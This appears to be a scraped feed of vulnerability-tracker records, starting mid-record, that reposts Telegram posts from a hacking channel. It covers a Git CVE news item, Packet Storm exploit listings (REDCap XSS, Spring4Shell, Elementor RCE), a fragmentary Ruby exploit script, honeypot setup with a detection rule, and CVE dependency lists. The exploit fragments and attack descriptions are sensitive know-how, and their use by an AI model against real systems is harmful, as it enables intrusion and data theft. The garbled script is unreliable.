"https://t.me/hacking_Attack/49880", "content": "Black Hat Ethical Hacking\nGit security vulnerabilities prompt updates\n\nGit security vulnerabilities prompt updatesPost Views: 3 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 1 Minute\nSoftware developers are advised to upgrade their systems to\u00a0Git v2.35.2\u00a0in order to guard against potential attacks, which would rely on an attacker first gaining write access on a targeted system.\nIt\u2019s time for developers to update their local Git installations following the discovery of a brace of vulnerabilities.\n\nThe worst of the two flaws (CVE-2022-24765) carries the potential of allowing an attacker to execute arbitrary commands.\n\nDevelopers using Git for Windows or Git on a multi-user machine are most at risk, as an advisory by GitHub\u00a0explains:\n\nThis vulnerability affects users working on multi-user machines where a malicious actor could create a .git\u00a0directory in a shared location above a victim\u2019s current working directory. On Windows, for example, an attacker could create C:\\.git\\config, which would cause all git invocations that occur outside of a repository to read its configured values.\n\nSince some configuration variables (such as core.fsmonitor) cause Git to execute arbitrary commands, this can lead to arbitrary command execution when working on a shared machine.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nDevelopers who use Git on Linux\u00a0or macOS are also affected by the CVE-2022-24765 flaw, albeit to a lesser extent. Patching in all cases is the recommended course of action but short of this, various mitigations are available, as detailed in GitHub\u2019s advisory.\n\nA second vulnerability (CVE-2022-24767) is limited to the Git for Windows uninstaller. As with the previous flaw, some level of compromised access is a prerequisite to potential attacks, as GitHub\u2019s advisory explains.\n\nAttacks would rely on planting malicious .dll\u00a0files on a targeted system.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Users are advised to update to Git for Windows v2.35.2\u00a0but, again, a number of temporary mitigations offer a viable alternative.\n\nCredit for discovering the vulnerability was given to Lockheed Martin\u2019s red team. GitHub\u00a0offers a centralized location for Git repositories, hence its role in flagging up the requirement for software updates. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: portswigger.net Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Amazon-EC2-90x90.jpg Internal AWS credentials swiped by researcher via SQL payload24 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/spring4shell-90x90.jpg Attackers are abusing Spring4Shell vulnerability to spread Mirai botnet malware2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/ezgif.com-gif-maker-2-1-90x90.jpg Attackers Spoof WhatsApp Voice-Message Alerts to Steal Info3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/f956-article-211015-apple-b[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24767", "author": {"login": "automation"}}, {"uuid": "72a7ef1f-65e2-40fa-9588-340875f04749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.970215+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49880", "content": "Black Hat Ethical Hacking\nGit security vulnerabilities prompt updates\n\nGit security vulnerabilities prompt updatesPost Views: 3 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 1 Minute\nSoftware developers are advised to upgrade their systems to\u00a0Git v2.35.2\u00a0in order to guard against potential attacks, which would rely on an attacker first gaining write access on a targeted system.\nIt\u2019s time for developers to update their local Git installations following the discovery of a brace of vulnerabilities.\n\nThe worst of the two flaws (CVE-2022-24765) carries the potential of allowing an attacker to execute arbitrary commands.\n\nDevelopers using Git for Windows or Git on a multi-user machine are most at risk, as an advisory by GitHub\u00a0explains:\n\nThis vulnerability affects users working on multi-user machines where a malicious actor could create a .git\u00a0directory in a shared location above a victim\u2019s current working directory. On Windows, for example, an attacker could create C:\\.git\\config, which would cause all git invocations that occur outside of a repository to read its configured values.\n\nSince some configuration variables (such as core.fsmonitor) cause Git to execute arbitrary commands, this can lead to arbitrary command execution when working on a shared machine.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nDevelopers who use Git on Linux\u00a0or macOS are also affected by the CVE-2022-24765 flaw, albeit to a lesser extent. Patching in all cases is the recommended course of action but short of this, various mitigations are available, as detailed in GitHub\u2019s advisory.\n\nA second vulnerability (CVE-2022-24767) is limited to the Git for Windows uninstaller. As with the previous flaw, some level of compromised access is a prerequisite to potential attacks, as GitHub\u2019s advisory explains.\n\nAttacks would rely on planting malicious .dll\u00a0files on a targeted system.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Users are advised to update to Git for Windows v2.35.2\u00a0but, again, a number of temporary mitigations offer a viable alternative.\n\nCredit for discovering the vulnerability was given to Lockheed Martin\u2019s red team. GitHub\u00a0offers a centralized location for Git repositories, hence its role in flagging up the requirement for software updates. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: portswigger.net Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Amazon-EC2-90x90.jpg Internal AWS credentials swiped by researcher via SQL payload24 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/spring4shell-90x90.jpg Attackers are abusing Spring4Shell vulnerability to spread Mirai botnet malware2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/ezgif.com-gif-maker-2-1-90x90.jpg Attackers Spoof WhatsApp Voice-Message Alerts to Steal Info3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/f956-article-211015-apple-b[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24765", "author": {"login": "automation"}}, {"uuid": "0ab9e4a5-5bf2-4e5c-94ae-aa4af8b1a746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.924179+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49916", "content": "Exploit Collector\nREDCap Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png \nREDCap versions prior to 11.4.0 suffer from a persistent cross site scripting vulnerability that can be leveraged to escalate privileges.\n\nMD5 | cff2215a44f56d248ac62729a09c91b1\n\nDownload\n# Exploit Title: REDCap < 11.4.0 - Stored Cross-Site Scripting\n# Date: 2021-10-11\n# Exploit Author: Kendrick Lam\n# Vendor Homepage: https://projectredcap.org\n# Software Link: https://projectredcap.org\n# Version: Redcap before 11.4.0\n# Tested on: 11.2.5\n# CVE: CVE-2021-42136\n# Security advisory: https://redcap.med.usc.edu/_shib/assets/ChangeLog_Standard.pdf\n\n### Stored XSS \u2013 Missing Data Code Value (found by Kendrick Lam)\n\nIt was possible to store JavaScript as values for Missing Data Codes.\n\n- Where: Missing Data Code.\n- Payload: \n\n- Details: The payload will escalate a regular user's privileges, if viewed by an account with permission to change privileges (such as an administrator).\n- Privileges: Low privileged / regular user\n- Location example: https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX\n\n- Privileges:\n+ Store: Low privileged user is able to store Missing Data Code values.\n+ Execute: Any authenticated user. The payload will trigger once the page loads, this means storing the payload and sending over the link to an administrator would be able to escalate the user's privileges. For example, by browsing to https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42136", "author": {"login": "automation"}}, {"uuid": "e31a5816-bec1-41eb-89db-22873844518d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.876092+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49831", "content": "Exploit Collector\nSpring4Shell Code Execution\n\nhttps://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png \nPython exploit for CVE-2022-22965 that provides a prompt to the user in the style of an ssh session. The script is designed to be easy to understand and execute, with both readability and accessibility - depending on the user's choice. Designed for exploiting the vulnerability on tomcat servers. The fileDateFormat field on the server will be set and unset as part of the script which allows the exploit to be run multiple times. Cleanup may be required. It leverages a vulnerability found in the java spring framework before version 5.2, as well as in versions 5.3.0-17 an d 5.2.0-19 and running on a version of the Java Development Kit greater than or equal to 9.\n\nMD5 | e7a290b05afa996043b9cfc38a121fcb\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22965", "author": {"login": "automation"}}, {"uuid": "fd023130-2065-4c78-b021-e1fd761b8994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.826007+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49865", "content": "Exploit Collector\nWordPress Elementor 3.6.2 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png \nWordPress Elementor versions 3.6.0 through 3.6.2 suffer from a remote code execution vulnerability.\n\nMD5 | e3c26b5f04706dd80b2cb9e18d638d8a\n\nDownload\nDescription: Insufficient Access Control leading to Subscriber+ Remote Code Execution\n\nAffected Plugin: Elementor\n\nPlugin Slug: elementor\n\nPlugin Developer: Elementor\n\nAffected Versions: 3.6.0 \u2013 3.6.2\n\nCVE ID: CVE-2022-1329\n\nCVSS Score: 9.9(Critical)\n\nCVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n\nResearcher/s: Ramuel Gall\n\nFully Patched Version: 3.6.3\n\nThe Elementor plugin for WordPress introduced an Onboarding module in version 3.6.0, designed to simplify the initial setup of the plugin. The module uses an unusual method to register AJAX actions, adding an admin_init listener in its constructor that first checks whether or not a request was to the AJAX endpoint and contains a valid nonce before calling the maybe_handle_ajax function.\n\nUnfortunately no capability checks were used in the vulnerable versions. There are a number of ways for an authenticated user to obtain the Ajax::NONCE_KEY, but one of the simplest ways is to view the source of the admin dashboard as a logged-in user, as it is present for all authenticated users, even for subscriber-level users.\n\nThis means that any logged-in user could use any of the onboarding functions. Additionally, an unauthenticated attacker with access to the Ajax::NONCE_KEY could use any of the functions called from maybe_handle_ajax, though this would likely require a separate vulnerability.\n\nThe function with the most severe impact was the upload_and_install_pro function. An attacker could craft a fake malicious \u201cElementor Pro\u201d plugin zip and use this function to install it. Any code present in the fake plugin would be executed, which could be used to take over the site or access additional resources on the server.\n\nIn addition to this functionality, a less sophisticated attacker could simply deface the site by using the maybe_update_site_name, maybe_upload_logo_image, and maybe_update_site_logo functions to change the site name and logo.\n\nTimeline\n\nMarch 29, 2022 \u2013 We finish our investigation and deploy a firewall rule to protect Wordfence Premium, Wordfence Care, and Wordfence Response customers. We send our full disclosure to the plugin developer\u2019s official security contact.\n\nApril 5, 2022 \u2013 We follow up with the plugin developer\u2019s security contact as we have not yet received a response.\n\nApril 11, 2022 \u2013 We send our full disclosure to the WordPress Plugins team.\n\nApril 12, 2022 \u2013 A patched version of Elementor is released.\n\nApril 28, 2022 \u2013 The firewall rule becomes available to free Wordfence users.\n\nConclusion\n\nIn today\u2019s post, we covered a Critical vulnerability that allows any authenticated user to upload and execute malicious code on a site running a vulnerable version of the Elementor plugin. If your site is using the Elementor plugin, we urge you to update immediately. The good news is that the vulnerability is not present in versions prior to 3.6.0 and was successfully patched in 3.6.3.\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1329", "author": {"login": "automation"}}, {"uuid": "67021206-96d8-4829-ba85-d27148d70a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.778087+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49747", "content": "Exploit Collector\nEasy!Appointments Information Disclosure\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nEasy!Appointments versions prior to 1.4.3 suffers from an unauthenticated PII disclosure vulnerability.\n\nMD5 | 8155a1872473245af54963658039235f\n\nDownload\n#!/usr/bin/env ruby\n\n# Exploit\n## Title: Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure\n## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)\n## Author website: https://pwn.by/noraj/\n## Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482\n## Date: 2022-04-11\n## Vendor Homepage: https://easyappointments.org/\n## Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz\n## Version: < 1.4.3 (it means up to 1.4.2)\n## Tested on: Easy!Appointments Version 1.3.2\n## References: https://www.exploit-db.com/exploits/FIXME\n\n# Vulnerability\n## Discoverer: Francesco CARLUCCI\n## Date: 2022-01-30\n## Discoverer website: https://carluc.ci/\n## Discovered on OpenNetAdmin 1.4.2\n## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments\n## CVE: CVE-2022-0482\n## CWE: CWE-863\n## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d7027321913c4f8775bb6d1e8f79492bdd796c\n## References:\n##   - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/\n##   - https://github.com/alextselegidis/easyappointments/tree/1.4.2\n##   - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml\n##   - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/\n##   - https://nvd.nist.gov/vuln/detail/CVE-2022-0482\n\nrequire 'date'\nrequire 'httpx'\nrequire 'docopt'\n\ndoc = \nEasy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure\n\nSource: https://github.com/Acceis/exploit-CVE-2022-0482\n\nUsage:\n#{__FILE__}  http.cookies.first.value, # csrfCookie\n'startDate' => startDate.nil? ? '2015-01-11' : startDate,\n'endDate' => endDate.nil? ? Date.today.to_s : endDate\n}\n\nhttp.post(vuln_url, form: params)\nend\n\nbegin\nargs = Docopt.docopt(doc)\npp args if args['--debug']\n\nhttp = HTTPX.plugin(:cookies)\nfetch_csrf(args[' e\nputs e.message\nend\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2022-0482", "author": {"login": "automation"}}, {"uuid": "86f13f72-e7e2-4870-9b1e-aff6e9418069", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.729492+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49815", "content": "Quickstart  Quickstart details. (https://bonjourmalware.github.io/melody/installation)  TL;DR  Release  Get the latest release at https://github.com/bonjourmalware/melody/releases.  make install               # Set default outfacing interface\nmake cap                   # Set network capabilities to start Melody without elevated privileges\nmake certs                 # Make self signed certs for the HTTPS fileserver\nmake enable_all_rules      # Enable the default rules\nmake service               # Create a systemd service to restart the program automatically and launch it at startup \n\nsudo systemctl stop melody  # Stop the service while we're configuring it  Update the filter.bpf file to filter out unwanted packets.  sudo systemctl start melody     # Start Melody\nsudo systemctl status melody    # Check that Melody is running      The logs should start to pile up in /opt/melody/logs/melody.ndjson.  tail -f /opt/melody/logs/melody.ndjson # | jq  From source  git clone https://github.com/bonjourmalware/melody /opt/melody\ncd /opt/melody\nmake build  Then continue with the steps from the release (https://github.com/bonjourmalware/melody#release) TL;DR.  Docker  make certs                           # Make self signed certs for the HTTPS fileserver\nmake enable_all_rules                # Enable the default rules\nmkdir -p /opt/melody/logs\ncd /opt/melody/\n\ndocker pull bonjourmalware/melody:latest\n\nMELODY_CLI=\"\" # Put your CLI options here. Example : export MELODY_CLI=\"-s -i 'lo' -F 'dst port 5555' -o 'server.http.port: 5555'\"\n\ndocker run \\\n    --net=host \\\n    -e \"MELODY_CLI=$MELODY_CLI\" \\\n    --mount type=bind,source=\"$(pwd)/filter.bpf\",target=/app/filter.bpf,readonly \\\n    --mount type=bind,source=\"$(pwd)/config.yml\",target=/app/config.yml,readonly \\\n    --mount type=bind,source=\"$(pwd)/var\",target=/app/var,readonly \\\n    --mount type=bind,source=\"$(pwd)/rules\",target=/app/rules,readonly \\\n    --mount type=bind,source=\"$(pwd)/logs\",target=/app/logs/ \\\n    bonjourmalware/melody  The logs should start to pile up in /opt/melody/logs/melody.ndjson.  Rules  Rule syntax details. (https://bonjourmalware.github.io/melody/installation)  Example  CVE-2020-14882 Oracle Weblogic Server RCE:\n  layer: http\n  meta:\n    id: 3e1d86d8-fba6-4e15-8c74-941c3375fd3e\n    version: 1.0\n    author: BonjourMalware\n    status: stable\n    created: 2020/11/07\n    modified: 2020/20/07\n    description: \"Checking or trying to exploit CVE-2020-14882\"\n    references:\n      - \"https://nvd.nist.gov/vuln/detail/CVE-2020-14882\"\n  match:\n    http.uri:\n      startswith|any|nocase:\n        - \"/console/css/\"\n        - \"/console/images\"\n      contains|any|nocase:\n        - \"console.portal\"\n        - \"consolejndi.portal?test_handle=\"\n  tags:\n    cve: \"cve-2020-14882\"\n    vendor: \"oracle\"\n    product: \"weblogic\"\n    impact: \"rce\"  Logs  Logs content details. (https://bonjourmalware.github.io/melody/layers)  Example  Netcat TCP packet over IPv4 :  {\n  \"tcp\": {\n    \"window\": 512,\n    \"seq\": 1906765553,\n    \"ack\": 2514263732,\n    \"data_offset\": 8,\n    \"flags\": \"PA\",\n    \"urgent\": 0,\n    \"payload\": {\n      \"content\": \"I made a discovery today. I found a computer.\\n\",\n      \"base64\": \"SSBtYWRlIGEgZGlzY292ZXJ5IHRvZGF5LiAgSSBmb3VuZCBhIGNvbXB1dGVyLgo=\",\n      \"truncated\": false\n    }\n  },\n  \"ip\": {\n    \"version\": 4,\n    \"ihl\": 5,\n    \"tos\": 0,\n    \"length\": 99,\n    \"id\": 39114,\n    \"fragbits\": \"DF\",\n    \"frag_offset\": 0,\n    \"ttl\": 64,\n    \"protocol\": 6\n  },\n  \"timestamp\": \"2020-11-16T15:50:01.277828+01:00\",\n  \"session\": \"bup9368o4skolf20rt8g\",\n  \"type\": \"tcp\",\n  \"src_ip\": \"127.0.0.1\",\n  \"dst_port\": 1234,\n  \"matches\": {},\n  \"inline_matches\": [],\n  \"embedded\": {}\n}  \n\nDownload Melody (https://github.com/bonjourmalware/melody)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-14882", "author": {"login": "automation"}}, {"uuid": "14ed06b5-6ca3-4b06-9dcb-1c3bebc26856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.682706+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49652", "content": "ANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-15523\n6.9 MEDIUM\nxineramaproto 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\nnlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-20367\n6.4 MEDIUM\nxft 2.3.3\n\nTested in Ubuntu Linux, Fedora Linux and FreeBSD.\n\nThe purpose of this tool is to use in local pentest, take attention if you have a proper authorization before to use that. I do not have responsibility for your actions. You can use a hammer to construct a house or destroy it, choose the law path, don\u2019t be a bad guy, remember. Download\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-20367", "author": {"login": "automation"}}, {"uuid": "0ca3c912-ca07-4034-9cc9-b09b16505497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.636956+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49652", "content": "ANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-15523\n6.9 MEDIUM\nxineramaproto 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\nnlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-20367\n6.4 MEDIUM\nxft 2.3.3\n\nTested in Ubuntu Linux, Fedora Linux and FreeBSD.\n\nThe purpose of this tool is to use in local pentest, take attention if you have a proper authorization before to use that. I do not have responsibility for your actions. You can use a hammer to construct a house or destroy it, choose the law path, don\u2019t be a bad guy, remember. Download\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-15523", "author": {"login": "automation"}}, {"uuid": "127db920-0c80-48b8-b8b7-d858835d0e54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.588445+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49669", "content": "CVE-2021\u20134034\nhttps://medium.com/@reconshell.com/cve-2021-4034-bd72d4aecfa2?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "37e25aac-1734-4140-9847-c2a95b9d3310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.535946+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49671", "content": "CVE-2021\u20134034 Local privilege escalationContinue reading on Medium \u00bb (https://medium.com/@reconshell.com/cve-2021-4034-bd72d4aecfa2?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "769ece0e-8b04-426d-868b-0062d4f57a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.487819+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49651", "content": "8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86dgaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\nAddressable is an alternative implementation to the URI implementation that is part of Ruby\u2019s standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2.8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-32740\n5.0 MEDIUM\nAn issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-10933\n5.0 MEDIUM\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\ncairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompatible with WebKit\u2019s fastMalloc, leading to an application crash with a \u201cfree(): invalid pointer\u201d error.\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-19876\n4.3 MEDIUM\nxcb 1.14\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application\u2019s unrestricted use of the render method and providing a .. (dot dot) in a pathname.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-0752\n5.0 MEDIUM\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\nIn Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-15801\n7.5 HIGH\nIn Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue C[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-10933", "author": {"login": "automation"}}, {"uuid": "47d138b6-89e9-486b-896a-e80d20dd9d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:04.443915+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49651", "content": "8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86dgaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\nAddressable is an alternative implementation to the URI implementation that is part of Ruby\u2019s standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not 